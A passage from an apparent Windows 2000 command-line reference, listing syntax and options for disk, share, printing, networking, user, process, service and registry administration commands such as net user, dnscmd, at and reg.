/CLEAN:server
Remove all Dfs-related registry entries from the specified server.
/DCLIST:domain
List domain controllers in the specified domain.
/TRUSTS:domain [/ALL] [/DCNAME:name]
List Windows 2000 (or all) domains that trust the specified domain.
Client Options
/PKTINFO
Display information about client Dfs usage on the local system, including local
caching of data.
/PKTFLUSH[:entry]
Flush the specified Partition Knowledge Table (PKT) entry in the local cache (or all
entries if none is specified). Note that the PKT is now a blob.
diskcomp
diskcomp x: y:
Compare the diskettes in Drive x and Drive y (this may be the same drive).
diskcopy
diskcopy x: y: [/V]
Copy the floppy in Drive x to Drive y (this may be the same diskette drive). /V says to verify
the copied data.
diskmapRK
diskmap /Dn
Display detailed physical geometry data for the specified disk drive (numbering starts at 1).
diskuseRK
diskuse [path] [options]
Display disk space usage by user account for the current or specified directory tree.
Options
/U:user
Limit the command to the specified user.
/S
Recurse subdirectories.
/T
Format the output as a table.
dmdiagRK
Dmdiag
Produce an excruciatingly detailed listing of disk information.
format
format x: [options]
Format the disk partition designated by drive letter x (or the diskette in Drive x:).
Options
/FS:type
Specify the filesystem type (NTFS or FAT).
/V:label
Specify the volume label.
/A:n
Set the filesystem's allocation unit size to n bytes (add the K suffix to designate
kilobytes). Valid sizes are powers of 2, from 512 to 64K for NTFS filesystems, and
from 8,192 to 16K for FAT filesystems.
The default allocation unit size varies with the partition size: 4K for over 2 GB, 2K
for 1 to 2 GB, 1K for 513MB to 1GB, and 512 for 512 MB or less.
/C
Compress files on the new filesystem by default. (This is for NTFS filesystems with
an allocation size of 4K or less only.)
/Q
Perform a quick format operation if possible.
/X
Force a volume dismount before formatting.
/T:tracks, /N:sectors
Specify tracks/side and sectors/track (respectively) for floppy disks.
label
label [x:] [label]
Assign the volume label for Drive x (defaults to the current drive). If no label is specified, you
are prompted for it.
mountvol
mountvol dir volume | options
Mount the specified volume at the indicated directory location.
Options
/D
Unmount a mounted volume (omit the second parameter).
/L
List the volume mounted at the specified location.
vol
vol [x:]
Display the volume label for Drive x.
1.10 Managing Shares
net share
net share share-name[=path] [options]
Make a directory available to the network or revoke shared access (the =path form is used
only when defining a new shared resource).
Without arguments, the command lists all currently shared resources. If just a share name is
specified (without options), information about that resource is displayed.
Options
/USERS:n
Specify the maximum number of simultaneous users.
/UNLIMITED
Allow unlimited users to access the share simultaneously.
/REMARK: "text "
Specify a description or other comment for the share.
/DELETE
Remove the specified shared resource. Either the share name, the path, or the printer
device may be specified as the argument to the command.
net use
net use [device:] [\\host\share] [password | *] [options]
Map a network resource to a local device, which can be a drive letter or a printer of the form
LPTn.
The host and share name argument is used only when defining new mappings. It may have a
NetWare volume name appended, if appropriate.
Any required password may be specified on the command line, or an asterisk may be
substituted to request a password prompt.
Options
/PERSISTENT:YES | NO
Create a persistent mapping (automatically re-created at each login). The default is
the setting used most recently. If this option is specified without any other arguments,
it changes the current default.
/USER:[domain\]username
Specify an alternate user account for accessing the resource.
/HOME
Map the specified drive letter to your home directory (no resource specification is
needed).
/DELETE
Permanently remove the specified device mapping.
net view
net view [target]
Display the names of the computers in a domain or network, or display the shared resources
on a specified remote system. target can be one of the following:
\\host
The name of a remote system whose shared resources are displayed.
/DOMAIN:name
A Windows 2000 domain (its members are listed).
/NETWORK:NW [ \\host]
Without a hostname, this option lists all available NetWare servers. If a host is
included, the NetWare resources for the specified system are listed.
If no target is specified, the computers in the local domain are listed.
rsm
rsm command [options]
Manage the Removable Storage facility. You can use this command to create media pools,
allocate media to them, and perform other related administrative tasks. See the ntbooks
documentation for details.
1.11 Printing
See also net share and net use.
con2prt
con2prt options [/C[D] \\hostname\printer-share]
Add remote printers to the local system. (The command is a scriptable version of the Add
Printer wizard.)
Options
/C | /CD \\hostname \ printer-share
Connect to the specified printer. /CD says to make it the local default printer. These
options may be specified multiple times; the first /CD sets the default printer.
/F
Delete all existing printer connections.
lpq
lpq -Sserver -Pprinter [-I]
Display the status and contents of the specified LPD-based print queue. The final option
requests a detailed status report.
lpr
lpq -Sserver -Pprinter [options] file
Print the specified file to the indicated LPD-based printer.
Options
-Cclass
Select a banner page based on job class (not supported for all printers).
-J jobname
Specify the job name.
-Ol
Specify the job type as binary (the default is text). Useful for printing PostScript files
in some circumstances.
print
print /D:\\server\ print_share files
Print text files on the specified remote printer.
1.12 Networking-Related Commands
1.12.1 Client Utilities
finger
finger [user][@host]
Display information about the specified local or remote user (the remote host must provide a
finger service). If no username is specified, information about all logged-in users is returned.
-L says to use a long listing format (ignored by many systems).
ftp
ftp host | IP-address
Initiate a file transfer session to a remote host, which must provide an ftp service.
Options
-A
Log on as anonymous.
-n
Suppress automatic initial logon to the remote host.
-w :size
Set transfer buffer size in bytes (the default is 4,096).
-i
Disable prompting during multifile transfers.
-S: file
Run commands in the specified file instead of starting an interactive session.
-v
Suppress remote server response messages.
-a
Use any local interface.
-g
Disable wildcard interpretation in filenames (known as "globbing").
-d
Enable debugging messages.
hostname
Hostname
Display the hostname of the local system.
irftp
irftp path [/H] | /S
Send files over an infrared wireless link. /S opens the Wireless Link Properties dialog rather
than sending a file. /H suppresses the usual Wireless Link dialog when sending the file.
rcp
rcp [/B] files destination
Copy files to or from a remote system. If the remote system running is Windows-based, it
must be running the Remote Shell service. Prepend remote filenames with host [.username]: .
Options
/H
Include hidden files in the copy operation.
/R
Recurse subdirectories in the file list.
rsh, rexec
rsh server [-l username] command
rexec server [-l username] command
Execute a command on a remote system using the REXEC or the Remote Shell service,
optionally specifying a user account for the remote system.
telnet
telnet host | IP-address
Initiate an interactive session to a remote host (which must provide a telnet service).
tftp
tftp [-i] host [get | put] file-to-transfer [destination]
Perform a Trivial FTP file transfer. The -i option says to perform a binary file transfer (an
ASCII transfer is the default). The keywords get and put specify a local-to-remote and
remote-to-local transfer, respectively. The optional final argument specifies an alternate
location for the transferred file. Specifying a hyphen as the file to transfer takes input from or
sends output to standard input/output as appropriate.
1.12.2 Administrative Utilities
arp
Display and manipulate physical address-IP address translation.
arp /A [IP-address] [/N interface-address]
Display current mappings (limited to the specified IP address and network interface, if
present).
arp /S IP-address physical-address [interface-address]
Specify an address mapping (to the table for specified network interface, if present).
arp /D IP-address [interface-address]
Delete an address mapping (from the table for specified network interface, if present).
atmadm
atmadm [-c] [-a] [-s]
Display information for the ATM Call Manager facility. The options request information on
current connections, network service access point (NSAP) addresses, and the status of each
active connection, respectively.
dhcplocRK
dhcploc ip-address [dhcp-server-list]
Locate accessible DHCP servers (authorized and rogue). The command's first argument is the
IP address of the local system, or the desired adapter on the local system. The second
argument is an optional list of DHCP servers to check, specified by IP address.
Options
/p
Don't display information about servers in the list.
/a:names [ /i:seconds]
Send alerts to the specified names (at the specified interval) whenever a DHCP server
that is not in the list is detected.
dnscmd
dnscmd [server] /main_option addional-args-and-options
Administer the Domain Name Service facility. The command's format varies considerably by
function. server specifies the DNS server upon which to operate (it defaults to the current
DNS server). A period may be used to specify the local system. The main-option specifies
what the command does; the various choices are shown in the following list.
Options
/Info [property]
Display basic information about the specified DNS server, limiting it to the specified
property, if included. See the command help for a list of properties.
/Statistics [filter-mask] [/Clear]
Display DNS server statistics. The display can be filtered by a mask whose
components are defined in the command help. /Clear zeros all counters for which this
is supported.
/ResetListenAddresses [IP-addresses]
Specify/reset the list of hosts to serve DNS requests.
/ResetForwarders [IP-addresses] [ /Slave] [ /Timeout tsec]
Specify/reset the list of DNS forwarders. /Slave designates hosts as slave servers, and
tsec is the timeout period in seconds (the default is 5).
/EnumZones [/type] [/Forward | /Reverse]
List zones on a DNS server. The first option limits the list to servers of a specific
type; either primary, secondary, cache (caching-only), or auto-created. The second
option limits the list to forward- or reverse-lookup zones.
/EnumRecords zone node [additional-options]
List the records for the specified DNS subdomain, where zone is the desired zone,
and node indicates the starting point within it. node must be either @ (the zone root),
a fully qualified domain name of a node in the zone (i.e., name with a terminal
period), or a simple name that is interpreted as relative to the specified zone.
Additional options allow you to limit the types of records returned; see the command
help for a complete list.
/Restart
Restart the specified DNS server.
/Config [zone | ..AllZones] property hex-value
Set various parameters for the DNS server, either for the specified zone or all zones.
See the command help for a list of available properties.
/ClearCache
Clear the cache of the specified DNS server.
/WriteBackFile [zone]
Write out all root hints or zone datafiles for a DNS server.
/RecordAdd zone name [/Aging] [ttl] type data
Add a record to the specified DNS server for the indicated zone. type is the standard
DNS record type, name is the primary data for the type, and data is any additional
information needed for the record. For example, for an A record, name is the
hostname and data is the IP address. /Aging enables aging for the record (it is off by
default). ttl is the time-to-live for the record (it defaults to the value in the SOA
record).
/RecordDelete zone type data [ /F]
Delete the specified DNS record. /F suppresses confirmation prompts.
/NodeDelete zone node [/Tree] [ /F]
Delete all DNS records at the specified node. /F suppresses confirmation prompts and
/Tree deletes the entire subdomain rooted at that node.
/ZoneInfo zone [property]
Display information about the specified DNS zone. The display can be limited to the
specified property, if included; see the command help for a list of properties.
/ZoneAdd [zone] /Primary /File file [/Load] [/A admin]
/ZoneAdd [zone] /Secondary Primary-IPs [ /File file [ /Load ]]
/ZoneAdd [zone] /DSPrimary
Create a new DNS zone of the specified type. The /File option specifies the zone file
to be used and /Load says to load existing data from it.
/ZoneDelete zone [/DSDel] [ /F]
Delete the specified zone. Include /DSDel if the zone is a Directory Services-based
primary. /F suppresses the confirmation prompt.
/ZoneRefresh zone
Force an immediate refresh for the specified zone on the specified secondary server.
/ZoneReload zone
Reload the specified zone from its database (file or Active Directory) on the specified
primary server.
/ZoneUpdateFromDS zone
Update the specified server with zone information from the Active Directory.
/ZoneResetSecondaries zone [/Secure] [IP-addresses]
Specify/reset the notify list for the specified DNS server. /Secure limits access to
only the listed secondary servers.
/ZoneWriteBack zone
Write back data to the zone file on the specified DNS server.
/ZonePause zone
Pause the specified zone on the server.
/ZoneResume zone
Resume a paused zone on the specified server.
/ZoneResetType zone /Primary /File file [ /Aadmin] [options]
/ZoneResetType zone /Secondary Primary-IPs [ /File file]
/ZoneResetType zone /DSPrimary [options]
Change the type of the specified DNS server, using options as described under
/ZoneAdd. Additional options are /Overwrite_Mem and /Overwrite_DS, which
overwrite data from the Active Directory to the active DNS memory, and vice versa,
respectively.
/AgeAllRecords zone node [/Tree] [/F]
Enable aging for records in the specified zone at the indicated node (or throughout the
subdomain with /Tree). /F suppresses confirmation prompts.
/StartScavenging
Enable scavenging, which searching for and removing stale DNS records by
designated servers (disabled by default).
/ZoneResetScavengeServers zone [IP-addresses]
Specify/reset a list of servers to perform scavenging.
getmacRK
getmac server
Display the MAC address of the selected server (specified in either \\server format or as a
fully qualified domain name).
iisreset
iisreset [options]
Manage the Internet Information Services (IIS) facility.
Options
/Restart | /Start | /Stop | /Status
Restart (default), start, stop, or display the status of the IIS facility, respectively.
/Enable | /Disable
Enable or disable restarting of IIS.
/RebootOnError [/Timeout:s]
Reboot if a start, stop, or restart operation fails. Optionally, wait s seconds for the
operation to complete successfully.
/NoForce
Don't terminate IIS server processes if they fail to stop gracefully (forced termination
is the default).
ipconfig
ipconfig [/ALL]
Display the IP configuration for the local system. ( /ALL requests more detail.)
ipconfig /RENEW | /RELEASE [adapter]
Manipulate the DHCP lease, renewing or releasing the system's IP address (or the IP address
corresponding to the specified network adapter).
ipconfig /DISPLAYDNS | /FLUSHDNS
Display or flush the contents of the DNS resolver cache.
ipconfig /REGISTERDNS
Reregister all current DHCP names with the DNS.
ipsecpolRK
ipsecpol \\server options
Configure IPSec policies. See W2RKTools.Chm for details on this complex tool.
nbtstat
nbtstat [options] [n]
Display statistics for NetBIOS over TCP/IP connections, repeating the display every n
seconds, if specified.
Options
-a host | -A IP-address
Specify the host of interest by name or IP address.
-c
Display contents of the remote name cache.
-n
Display local NetBIOS name definitions.
-r
Display names resolved by WINS or broadcast.
-S | -s
Display the sessions table, identifying remote systems by IP address or hostname,
respectively.
-R
Purge and reload the remote name cache.
net session
net session [\\host] [/DELETE]
Without arguments, display session information for all connections to the local system. If a
host is specified, information about the session between the local system and that particular
remote system is displayed.
The /DELETE option causes the specified session (if a host is specified) or all sessions to
terminate, closing all associated open local files.
net statistics
net statistics [SERVER | WORKSTATION]
Display session-oriented networking statistics. Without an argument, this displays services for
which statistics are available. The available keywords request statistics for the server or
workstation services, respectively.
netsh
netsh [context subcommand ...]
The network subsystem administration utility. This facility, which can function either in
interactive mode or as a standalone command utility, provides support for commandline/
script-based management of many network facilities, including DCHP (dhcp context
keyword), network interface (interface), routing (routing), Remote Access Services (ras),
and WINS (wins). See the ntbooks documentation for a plethora of context-specific
subcommands and options.
Here are a couple of examples to give you the flavor of using netsh:
Specify the primary DNS server for the local system:
netsh interface ip set dns "Local Area Connection" ^ static ip-addr
Add an exclusion range to an existing DHCP scope:
netsh dhcp server scope name add excluderange ^ ip-addr1 ip-addr2
netstat
netstat [options] [n]
Display TCP/IP statistics, repeating the output every n seconds, if specified. By default,
current active connections are listed.
Options
/A
Include server-side connections.
/E
Display Ethernet statistics.
/N
Show numeric IP addresses and port numbers.
/R
Display the routing table.
/S
Display per-protocol statistics (specify desired protocol with /P).
/P protocol
Specify the network protocol of interest: TCP, UPD, or IP.
nslookup
nslookup [host] [DNS server]
Perform DNS name translation, using the designated DNS server, if specified. Without
options, this command enters interactive mode.
pathping
pathping [options] destination
Trace routes to the destination, showing the degree of packet loss at each router/link.
Options
/h hops
Set the maximum number of hops (the default is 30).
/g hostlist
Allow loose source routing for hosts in the list, separable by intermediate gateways.
/p milliseconds
Set the wait period between consecutive pings (the default is 250).
/q num
Set the number of queries to each computer along the route (the default is 100).
/w milliseconds
Set the timeout period to wait for each reply (the default is 3,000).
/n
Don't resolve IP addresses to hostnames.
/T
Attach a layer-2 priority tag to the packets to identify devices that do not support
layer-2 priority.
/R
Determine if each device along the route supports the Resource Reservation Setup
protocol (RSVP).
ping
ping [options] destinations
Ping the specified systems, which may be specified by hostname or IP address.
Options
/t | /n count
Ping continuously until interrupted, or for the specified number of times (the default
is 4 ).
/l length
Set the length of the packet in bytes (the default is 32; the maximum is 65,527).
/a
Resolve IP addresses to computer names.
/f
Set the Do Not Fragment flag in the packet.
/i ttl
Set the Time to Live parameter.
/v tos
Set the Type of Service parameter.
/w
Set the timeout interval in milliseconds.
/r n [ /s timestamp]
Record the route(s) of up to n hosts in the Record Route field (n can range from 1 to
9); an optional timestamp value can also be specified.
/j | /k hostlist
Route packets via computers in the specified list, allowing or forbidding them from
being separated by intermediate gateways (loose/strict source routed). Up to 9 hosts
may be included in the list.
pptpclnt, pptpsrv
pptpclnt
pptpsrv host
Perform connectivity tests for PPTP connections. Start pptpsrv on one system, then attempt
to connect to it using pptpclnt.
qtcpRK
qtcp -t receiver-ip-addr
qtcp -r
Measure network performance via Quality of Service (QoS) tests. These commands start the
server and client modes of this utility, respectively. See W2RKTools.Chm for full details.
rasdial
rasdial entryname [user password | * [/Domain:domain]] ^
[options]rasdial [entryname] /Disconnect
Dial a phone book entry using the Remote Access Service (first form) or disconnect an
existing connection. An asterisk for the password argument produces a password prompt.
Options
/Phone:number
Dial this phone number.
/PhoneBook: file
Use the indicated phone book file rather than the default
(%SystemRoot%\System32\RAS\username.pbk).
/CallBack: number
Specify the callback phone number.
/PrefixSuffix
Use TAPI location dialing properties when placing the call.
raslistRK
raslist
List accessible RAS servers.
rasusersRK
rasusers domain | server
List RAS-enabled user accounts in the specified domain or on the specified server.
route
route [options] [cmd [dest] [MASK netmask] [gateway] ^
[METRIC hops]]
View or modify the routing table. cmd is one of the following:
PRINT
Display the specified route, or display all routes.
ADD
Add the specified route.
DELETE
Remove the specified route.
CHANGE
Modify the specified route.
The netmask defaults to 255.255.255.255; the metric defaults to 1.
Options
/F
Clear all gateway entries from the routing table.
/P
Use with ADD to define a persistent route, which survives system reboots.
rpingsRK
rpings [-p protocol]
Start the RPC connectivity test server, limiting testing to the specified protocol, if it's included
(e.g., tcpip, namedpipes, netbios, etc.). Use the rpingc GUI utility to perform the actual
testing.
tracert
tracert host | IP-address
Display the route to the specified destination.
Options
-h n
Set the maximum number of hops used to search for the target computer.
-w n
Set the timeout period in milliseconds for each reply.
-d
Do not resolve addresses to hostnames.
winschkRK
winschk
Interactive WINS validation and monitoring utility.
winsclRK
winscl command
Administer the WINS service. See W2RKTools.Chm for a list of available commands.
1.13 Administering Users and Groups
addusersRK
addusers [\\server] file
Manage user accounts on the local or specified server via a prepared file. Options control the
command's functioning. See W2RKTools.Chm for the syntax of the input file.
Options
/C [ /P:c]
Create new user accounts and groups. /P specifies account flags via one or more of
the following code letters: l (don't force password change at first login), c (user
cannot change password), e (password never expires), and d (account is disabled).
/D
Write user and group data to the specified file.
/E
Delete user accounts as specified in file.
/S:c
Set the field-separation character for the file. The default character is a comma.
cusrmgrRK
cusrmgr -u user[-m system] [options]
Modify characteristics of the specified user account.
Options
-P password
Set the user password.
+s | -s flag
Set or unset account flags, where flag is one of the following:
MustChangePassword, CanNotChangePassword, PasswordNeverExpires,
AccountDisabled, AccountLockout, or RASUser.
-r newname
Rename the user account.
- d
Delete the user account.
-c comment
Set the account comment.
-f fullname
Specify the user's full name.
-U profile
Specify the user profile.
-h dir -H drive
Specify the user home directory or the drive letter mapping.
-n logon-script
Specify the logon script.
-alg group |-agg group
Add the user to the specified local (-alg ) or global (-agg ) group.
-dlg group | -dgg group
Remove the user from the specified local (-dlg ) or global (-dgg ) group.
-rlg | -rgg group newname
Rename a local (-rlf ) or global (-rgg ) group (-u is ignored).
delprofRK
delprof [/c:\\server] [options]
Delete inactive user profiles on the local computer or on any specified computer.
Options
/Q
Suppress confirmation messages.
/D:days
Specify the inactivity period (the default is 0).
globalRK
global group domain | \\host
List the members of a global group.
localRK
local group domain | \\host
List the members of a local group.
net accounts
net accounts /sync
Force an update of the user accounts database.
net accounts options [/DOMAIN]
Modify the system or domain password policy settings. /DOMAIN says to operate on the
primary domain controller rather than on the local system. (The local system is the default on
Windows 2000 server systems.)
Options
/MINPWLEN:n
Set the minimum password length to n characters (the default value is 0, and the
allowed range is 0-14).
/MAXPWAGE:n
Set the maximum password lifetime to n days (the default value is 42, and the
allowed range is 1-49,710). The keyword UNLIMITED may be specified for n to
remove any limit.
/MINPWAGE:n
Set the minimum number of days between password changes (the default value is 0,
and the allowed range is 0-49,710).
/UNIQUEPW:n
Remember n previous passwords (the default value is 0, and the maximum value is
24).
/FORCELOGOFF:mins | NO
Force users to logoff mins minutes after their permitted logon times have expired; NO
disables forced logoffs (this is the default).
net group
Display/modify a global group. For all command forms, /DOMAIN says to operate on the
primary domain controller rather than the local system. (The local system is the default on
Windows 2000 server systems.)
net group
List the global group names in the current domain.
net group name [users] [/ADD] [/DOMAIN]
Add a group or add users to an existing group.
net group name [users] /DELETE [/DOMAIN]
Delete a group or remove users from a group.
net group name [/ADD] /COMMENT:description [/DOMAIN]
Specify a description for an existing group or for a new group.
net localgroup
Display or modify a local group. For all command forms, /DOMAIN says to operate on the
primary domain controller rather than on the local system. (The local system is the default on
Windows 2000 server systems.) User lists are space separated.
net group
List local group names in the current domain.
net group name [users] [/ADD] [/DOMAIN]
Add a group or add users to an existing group.
net group name [users] /DELETE [/DOMAIN]
Delete a group or remove users from a group.
net group name [/ADD] /COMMENT:description [/DOMAIN]
Specify a description for an existing group or for a new group.
net user
net user username [passwd |*] ^ [/ADD [options] | /DELETE]
[/DOMAIN]
Create or modify user accounts. As indicated, the username can be followed optionally by a
password or by an asterisk to request a password prompt. Without any arguments, the
command lists all user accounts in the local domain or on the local workstation.
Options
/ADD | /DELETE
Add or delete the specified user account. The default is to modify an existing account.
/DOMAIN
Operate on the primary domain controller rather than on the local system. (The local
system is the default on Windows 2000 server systems.)
/ACTIVE:YES | NO
Enable or disable the account.
/FULLNAME: text
The user's full name.
/EXPIRES:date | NEVER
The account expiration date, if any.
/HOMEDIR: path
The home directory location.
/PASSWORDCHG: YES | NO
Whether users can change their password.
/PASSWORDREQ: YES | NO
Whether a password is required for an account.
/PROFILEPATH: path
The path to the user profile for this account.
/SCRIPTPATH: path
The location of this user's login script.
/TIMES:ALL | times
The allowed login hours.
/WORKSTATIONS: list
Limit the allowed login locations to these systems (maximum of eight systems).
/COMMENT:string, /USERCOMMENT:string
Descriptive comments for the account.
/COUNTRYCODE:n
Operating system country code (0 means the system default).
ntrightsRK
ntrights +r | -r right -u user-or-group [-m system] ^ [-e
event-log-entry]
Grant (+) or revoke (-) the specified user right to or from the specified user or group.
Optionally, specify a system upon which to execute the operation and a string to place into an
event log entry.
The user right must be specified by its case-sensitive internal name (see the "user rights"
listing later in this book for more information).
sdcheck
sdcheck server username [options]
List ACL information for the specified fully qualified username. (sdcheck also has uses
provided by other commands.)
Options
-dumpSD | -dumpALL
Display a user account object's security descriptor alone or along with all the SDs that
are inherited from parents, respectively.
-domain: domain [-user:username -password: password]
Specify the domain and user context for a command.
showgrpsRK
showgrps [[domain\]user]
List the groups in which the specified user is a member.
Option
/A
Check all known trusted domains as well as the local/specified domain.
showmbrsRK
showmbrs group
List the members of the specified group. The group name can optionally be preceded by
\\name\, where name is a domain name or a hostname.
showprivRK
showpriv right
Display all holders of the specified user right (specified by its case-sensitive internal name—
see the "user rights" listing later in this book for more information).
usrstatRK
usrstat domain
List the domain users and their most recent login times.
usrtogrpRK
usrtogrp file
Add users to groups as specified in file (see W2RKTools.Chm for format details).
1.14 Managing Processes
at
List or schedule delayed and periodic tasks on the specified computer system. (This defaults
to the local system.)
Variations
at [\\host]
List currently pending at jobs in the Schedule service queue. Note that at jobs also appear in
the Scheduled Tasks control panel applet, and may be managed from there also.
at [\\host] job-ID /DELETE
at [\\host] /DELETE [/YES]
Remove a pending job (first form) or all pending jobs (second form; /YES preconfirms the
action).
at [\\host] time [options] command
Schedule a job for one-time or periodic execution; time indicates the time of day at which the
command runs.
Job Scheduling Options
/NEXT: weekday | n
Run the command on the next occurrence of the specified day of the week or on the
nth of the month.
/EVER Y: weekday-and-dates-list
Run the command on a regular schedule; i.e., on each day of the week or the date of
the month specified in the comma-separated list.
/INTERACTIVE
Allow desktop input when the command executes.
clearmemRK
clearmem [options]
Clear and allocate memory.
Option
-mn
Allocate n MB of memory (the default is all of the memory).
See W2RKTools.Chm for other options.
diskperf
diskperf -Y[D | V] | -N[D | V] [\\host]
Enable (-Y) or disable (-N) disk performance counters on the specified system (this defaults
to the local system). D and V refer to the counters for physical and logical devices,
respectively—for example, -YD enables the counter for physical disks. By default, all
counters are enabled. The command takes effect once the system is rebooted.
kill
kill [/F] item
Terminate one or more processes, where item is a process ID or a regular expression designed
to match a complete task /command name or window title. The /F option kills some processes
that survive the normal termination signal.
memsnap
Memsnap
Write a listing of all current processes and their memory usage statistics to the file
memsnap.log.
net print
net print \\host\shared-printer
List the contents of the specified print queue.
net print [\\host] job-number [/HOLD | /RELEASE | /DELETE]
List /manage the specified print job, performing the operation indicated by any specified
option.
pmon
pmon
Continuously display a list of currently running processes, as well as the overall system
memory and paging statistics.
ps.vbsRK
[cscript] ps.vbs [/S server] [/U user] [/W password]
List the running processes on the local /specified server, showing the complete path to the
running executable file. Use the latter two options to specify a user account for authentication
purposes.
ptreeRK
ptree [-c server]
Display the process tree on the local or specified server, showing process relationships.
ptree [-c server] -k | -kt pid
Delete the specified process, or delete the process and its entire subtree.
This command requires the Ptree service to be run on the target system. It is automatically
installed when the Ptree package is.
pulistRK
pulist [\\server][\\server . . .]
List processes by owner on the specified system(s), defaulting to the local system.
rkillRK
List /manage remote processes. This command requires that the Remote Kill service is run on
the remote system (also found in the Resource Kit).
rkill /VIEW \\host
List the processes running on the specified remote host.
rkill /KILL \\host pid
Terminate the specified remote process.
rkill /Nkill \\host executable
Terminate the processes running the specified executable.
rkill install | deinstall \\host
Install or remove the Remote Kill service on the specified host.
runas
runas /user:username command
Execute a command as the specified user.
Options
/Env
Use the current network environment rather than the specified user's environment.
/NetOnly
Use the user information for remote access only.
/Profile
Load the user profile of the specified user.
soonRK
soon [\\host] [seconds] [/INTERACTIVE] command
Run a command after a delay period. This command serves as an alternate interface to the
Schedule service on the local computer or on a remote host (see also the at command).
soon schedules the specified command to run in the indicated number of seconds (see the
following list for defaults). The /INTERACTIVE option allows it to interact with the
keyboard when executed.
soon /D [options]
Set the default values for various parameters used by the soon command, as indicated by the
subsequent options.
Default Setting Options
/L:n
Set the default delay period for local jobs to n seconds (this is initially 5 seconds).
/R:n
Set the default delay period for remote jobs to n seconds (this is initially 15 seconds).
/I:ON | OFF
Specify whether the /INTERACTIVE option is the default or not (this is initially off
).
start
start [window-title] [options] command
Start a command.
Options
/Ddir
Set the current working directory for the command.
/B
Start the command as a background process—don't create a new window.
/LOW | /NORMAL | /HIGH | /REALTIME
Specify the priority class for the new process.
/WAIT
Start the command and wait for it to complete.
/MIN | /MAX
Start the command and minimize or maximize the new window (respectively).
/I
Pass the original environment to the command rather than to the current environment.
timethisRK
timethis command
Run the specified command and report on its execution timing data. It is often useful to
combine this command with start /B to time a background command.
tlist
Tlist [/T]
List the current processes in tree format, indicating process parentage hierarchy if /T is
included.
tlist pid | regular-expression
List the module information for the specified process or for all matching processes.
typeperfRK
typeperf interval counters
Display the current values of the specified performance counters on the screen, repeating the
process every specified interval of seconds. Performance Monitor counter names are
generally specified in the form \\server]\object\counter (e.g., \Memory\Available Mbytes).
1.15 Managing Services
delsrvRK
Delsrv service
Delete and unregister the specified service. Use sclist to view the names of installed services.
dumpelRK
Dumpel [-s \\ server] -f output-file -l log [options]
Write event log entries from the local system or the specified system to the indicated output
file (separating fields by spaces by default). The -l option specifies the event log to dump:
system, security, or application (the default).
Options
-t
Separate fields by tabs.
-m source [-e id-list] [-r]
Specify the source field (i.e., the subsystem) for which to dump events, further
limiting the list to the listed event IDs (up to 10 may be specified) if -e is included.
The -r option reverses the sense of this filtering, writing all events except those that
meet the specified criteria.
-d n
Dump events for only the past n days.
elogdmpRK
elogdmp server logtype
Dump the event log entries from the specified system to standard output in CSV format.
logtype is either Application, Security, or System.
instsrvRK
instsrv service-name command-path [options]
Install a new service with the specified service name, running the executable indicated by
command-path.
instsrv service-name remove
Remove an installed service. Use sclist to determine the name of the desired service.
Options
/A user
Run the service as the specified user.
/P password
Specify the password for the user account.
logeventRK
logevent [-m \\server] [options] text
Add an event to the Application event log.
Options
-s c
Specify the event severity level; either s (success), i (information), w (warning), e
(error), or f (failure).
-c n
Specify the event category number (the default is 0).
-e id
Specify the event ID (the default is 1).
-r string
Provide a description of the event's source.
msizap
msizap items [!]
Remove Windows Installer-related settings and files from the local computer, allowing for a
clean reinstallation. items consists of one or more code letters that indicate what should be
removed. The most important of these are * (everything), F (Installer-related folders only), R
(registry keys), N (Installer items from the Uninstall registry key), V (stop the service), and A
(change ACLs to Full Control for Admins only). In addition, the code T prod-code may be
used to limit the action to the specified product.
! says to force a yes answer to any prompts that arise.
net config
net config [SERVER | WORKSTATION] [options]
Set configuration information for or display information about the Server and Workstation
services.
net config Server Options
/AUTODISCONNECT:mins
Disconnect inactive server sessions after the specified number of minutes. The valid
range is -1 (disable) to 65,535 minutes; the default is 15 minutes.
/SRVCOMMENT: text
Add a comment for the server (the maximum length is 48 characters).
/HIDDEN:YES | NO
If set to YES, exclude the server from server lists that are displayed to network users
(NO is the default).
net config Workstation Options
/CHARCOUNT:bytes
Specify the outgoing buffer size. The valid range is 0-65,535 bytes; the default is 16
bytes.
/CHARTIME:msec
Specify the number of milliseconds to collect data before sending it to a
communication device. The valid range is 0-65,535,000 milliseconds (the maximum
is ~18 hours), and the default is 250.
Whichever of these options (CHARCOUNT or /CHARTIME) is satisfied first determines
when data is transmitted.
/CHARWAIT:sec
Specify the number of seconds to wait for a communication device to become
available. The valid range is - 65,535 seconds; the default is 3,600 seconds, or 1 hour.
net continue
net continue service
Resume a service that has been paused.
net pause
net pause service
Pause a running service.
net start
net start [service]
Start a Windows 2000 service. Enclose the service name in quotes if it contains internal
spaces. Run the command without a parameter to list some available services and their
canonical names (see the Windows 2000 help file for a more complete list).
net stop
net stop service
Stop the specified service.
netsvcRK
netsvc service \\ host /cmd
Manage services on a remote host. cmd is either list, query, start, stop, pause, or continue.
scRK
sc [\\server] command service
Obtain detailed information or manage system services.
Process-related commands (Start, Stop, Pause, and Continue) change the state of the
specified server's processes.
Query commands such as the following return various pieces of information about the
service: GetDisplayName (the service's descriptive name), Qdescription (the service
description), GetKeyName (the associated registry key), EnumDependencies (listdependency
information), Query and QueryEx (the current status is basic and detailed), Qc
(the configuration settings), Qfailure (the action taken on process termination), and SDShow
(show the service descriptor in SDDL format).
Several commands may be used to configure or reconfigure a service: Create (add a new
service), Delete (remove a service), Config (change settings), Description (set description),
Failure (specify actions on failure/process termination), and SDSet (specify security
descriptor).
Finally, the form:
sc boot ok | bad
may be used to specify whether the most recent restart configuration is saved as the last
known good configuration.
sclistRK
sclist [options] [\\ host]
List services on the specified host (defaults to the local system).
Options
/R
Display running services only.
/S
Display stopped services only.
1.16 Accessing the System Registry
duregRK
dureg [/root-key] [key]
Estimate the size of the entire system registry or of the subtree indicated by the option, which
is either /cr (HKCR), /cu (HKCU), /u (HKUS), or /lm (HKLM). If key is specified, then only
the size of the specified key is given.
reg
reg op args [options]
Perform various registry operations. The syntax varies according to the operation specified.
Operations are listed, along with their specific syntaxes, following the list of common
options. Note that all keys are specified as full paths, beginning with a standard root key
abbreviation (HKLM, HKCU, HKCR, or HKCC).
Common Options
/V value-name | /VE
Specify a registry value on which to operate. /VE refers to an empty (unnamed)
value.
/S
Recurse the subtree below the specified key/value.
/F
Suppress confirmation prompts.
Available Operations
reg query [\\host \] key [options]
Display the value (data) in a registry key. Supports the /V, /VE, and /S options.
reg add [\\host \] key [options ]
Add a specified registry key. Accepts /V, /VE, and /F. Also supports /T type (specify
datatype), /D data (set value to), and /S char (specify a separator character for
REG_EXPAND_SZ type values; the default is \o).
reg copy [\\host \]srckey [\\host \] destkey [options]
